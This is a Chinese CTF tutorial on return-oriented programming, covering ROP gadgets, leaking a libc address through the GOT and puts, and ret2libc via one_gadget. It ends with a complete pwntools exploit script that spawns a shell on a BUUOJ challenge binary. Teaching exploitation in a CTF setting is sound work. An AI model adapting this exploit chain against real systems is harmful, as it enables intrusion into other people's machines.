[CTF-PWN]ROP (Return-Oriented Programming)——基础篇

ROP概述 ===== ROP,即返回导向编程, 一个在CTF与真实世界的利用中都经常使用的手段. 同样地,这属于必学的基础内 容, 需要完全理解与灵活运用. 本文涵盖较多知识点,包括ROP,内存泄露,ret2lib...

ROP概述

ROP,即返回导向编程, 一个在CTF与真实世界的利用中都经常使用的手段. 同样地,这属于必学的基础内
容, 需要完全理解与灵活运用.
本文涵盖较多知识点,包括ROP,内存泄露,ret2libc. 如果能够独立做出本文中的例题,说明对这些概念就基
本掌握了.ROP不是一个寄存器!!!
详细解释这个手段之前,我们先来看下使用它的原因.

NX开启

NX,即不可执行,这个保护机制. 使用shellcode的前提是我们能控制允许代码执行的内
存(如堆,栈). 但NX开启时,难道我们就无法利用栈溢出漏洞了吗?

ROP便是这一情况下最常用的利用手段. 我们通过寻找程序中已有的,以ret结尾的指令片段(这些片段被
称为gadget),以劫持控制流.

如上图,将返回地址覆盖为gadget1地址后, 程序返回到gadget1. gadget1完成我们想要进行的操作后,又
会返回到gadget2, 如此一来,我们便能控制寄存器,并执行目标操作,如调用 system() 或 execve() .

例题

一如既往地,直接上题.
https://buuoj.cn/challenges#%5B%E7%AC%AC%E5%85%AD%E7%AB%A0%20CTF%E4%B9%8BPWN%E7%AB%A0%5DROP
(这题分还挺高的...不知道为什么)
查看文件的架构与保护

开启了NX, shellcode执行不了.
没有开PIE,那么静态分析获取到的地址会是程序运行时的真实地址.
也没有canary,因此我们可以随意栈溢出.

拖入IDA,程序很简单,使用了 gets 读取用户输入,因此存在栈溢出

返回地址的偏移为 10+8=18.

寻找gadget

第一步,寻找可用的gadget
程序中没有 system() 这样的函数,因此我们想寻找 syscall 以调用 execve() .
此外,还需要找能够控制寄存器的Gadget (如 pop rdi ; ret )
此处我们使用ROPgadget这个工具寻找gadget.
https://github.com/JonathanSalwan/ROPgadget


有控制rdi,rsi等寄存器的gadget.
不幸的是,没有syscall.

那该如何做呢? 这就引入了ret2libc的概念,程序是动态链接的,只要返回到libc当中,就能想怎么玩怎么玩
了. 但首先,libc加载地址不固定,我们需要泄露出他的基地址.

完整思路

发现程序中有puts,可以利用它泄露出libc基址.

完整思路如下:

  1. 通过栈溢出构造ROP链
  2. 在ROP链中,利用puts泄露出libc中的地址,并使程序返回到 main() 函数
  3. 计算出one_gadget地址

等等,什么是one_gadget?

one_gadget
one_gadget即是libc中现成的

execve("/bin/sh",...,...)

代码片段,无需自己配置参数。这些片段可以通过使用one_gadget工具可以很方便的查找到。使用前提
是能够泄露libc,且满足查找结果中显示的条件

  1. 再次栈溢出, 覆盖返回地址为one_gadget地址
    暂时不能理解没关系,下面会一步步详细的讲

构造ROP链泄露Libc基址

首先,返回地址的偏移为18

padding = 'A'*18
payload = padding

其次,用于泄露地址的函数是 puts ,这是我们最好的选择,因为调用 puts 只需传一个参数,即只需控制rdi一
个寄存器.
那么,参数要是什么? 要输出什么才能泄露Libc当中的地址呢?
答案是GOT (Global Offset Table), GOT中会加载Libc当中对应函数的真实地址 (关于GOTPLT的更多
细节请自行阅读). 这题中,由于 putsgets 都在 main() 函数当中被调用过, GOT中已加载好
putsgetslibc中的真实地址. 我们只需泄露其中一个,此处选择泄露 puts 的真实地址.

即,在ROP中调用 puts(got['puts']) ,
先在ROPgadget工具的输出中确定 pop rdi;ret 的地址,这个gadget能通过栈上的数据控制rdi寄存器

elf = ELF("./rop")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

pop_rdi = 0x00000000004005d3

#构造ROP链, 将GOT中puts的表项写入rdi寄存器,作为参数

payload += p64(pop_rdi)
payload += p64(puts_got)
#调用puts, 即puts(got['puts'])
payload += p64(puts_plt)

只是泄露了地址,程序就终止了,那可不行,在最后加上 main 函数的地址,使程序返回到 main 函数处继续运

main=0x400537
payload += p64(main)

target.recvuntil("hello\n")
target.sendline(payload)

成功泄露出libc中 puts 的真实地址,并返回到 main 函数

通过ret2one_gadget getshell

接下来要做的便很简单了: 读取泄露出的地址,根据固定的偏移计算出one_gadget真实地址,并让程序返
回到那里.

查找one_gadget可以这个使用工具
https://github.com/david942j/one_gadget
注意,one_gadget要想成功运行需要满足 constraints 下面所显示的条件,此处使用 0x10a38c

完整exp

from pwn import *
import sys
if len(sys.argv) >1 and sys.argv[1] == 'r':
    target = remote("node3.buuoj.cn", )
else:
    #target = process("")
    #使用题目提供的libc
    target=process("./rop",env={"LD_PRELOAD":"./libc-2.271.so"})
    if(len(sys.argv)>1) and sys.argv[1]=='g':
        gdb.attach(target)

context.log_level='debug'

elf = ELF("./rop")
libC = ELF("./libc-2.271.so")
main=0x400537

padding = "A"*18
pop_rdi = 0x00000000004005d3

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

def s(in_put):
    target.recvuntil("hello\n")
    target.sendline(in_put)
def pwn():
    payload_leak = padding + p64(pop_rdi) + p64(puts_got) +p64(puts_plt) + p64(main)
    s(payload_leak)

    #读取libc中puts函数的地址
    puts_leak = u64(target.recvline().strip("\n").ljust(8,'\x00'))
    success("leak puts: "+hex(puts_leak))
    #计算libc基地址
    libc_leak = puts_leak - 0x809c0
    success("leak libc: "+hex(libc_leak))
    #计算one_gadget地址
    og = libc_leak + 0x10a38c
    payload = padding + p64(og)
    s(payload)

    target.interactive()
pwn()

成功getshell

  • 发表于 2021-08-24 10:47:18
  • 阅读 ( 6607 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
system
system

3 篇文章

站长统计